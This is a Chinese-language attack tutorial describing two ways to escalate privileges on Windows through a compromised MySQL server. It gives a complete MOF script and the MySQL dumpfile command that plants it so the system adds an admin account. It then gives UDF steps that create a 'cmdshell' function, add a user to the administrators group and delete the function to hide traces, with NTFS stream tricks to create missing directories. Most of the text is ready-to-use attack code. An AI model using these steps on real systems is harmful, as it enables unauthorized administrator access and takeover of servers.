1.MOF提权
简单的说mof就是系统内部的一个程序,每隔一定时间系统就会以root权限去执行,我们将其替换然后执行我们的而已攻击代码。此举称之为mof提权。
以下便是脚本:
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
}; instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
}; instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
保存为a.mof然后找一个可写目录上传a.mof,使用MySQL执行:select load_file('D:\wamp\a.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
即可提权成功。PS:添加的账号密码在脚本里。
2.UDF提权
0x01
首先需要判断版本。且在导出dll的时候需要多加一个斜杠
mysql版本 < 5.2 , UDF导出到系统目录c:/windows/system32/
mysql版本 > 5.2 ,UDF导出到安装路径MySQL\Lib\Plugin\ 一般情况下是大于5.2的,而默认情况下[Plugin]目录也是不存在的。可以通过菜刀新建,如若不行可以通过0x03的NTFS流创建。
0x02
创建cmdshell函数
create function cmdshell returns string soname 'udf.dll';
select cmdshell('net user waitalone waitalone.cn /add');
select cmdshell('net localgroup administrators waitalone /add');
drop function cmdshell; 删除函数
delete from mysql.func where name='cmdshell' 删除函数
0x03
在默认情况下会遇到Can't open shared library也就是文件夹问题,需要创建一刚开始说的文件夹,可以菜刀里直接新建,如若不行,可以通过NTFS创建。
查找到mysql的目录:select @@basedir;
利用NTFS ADS创建lib目录:select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';
利用NTFS ADS创建plugin目录:select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';
然后导出以后就再创建函数通过函数来执行cmd即可。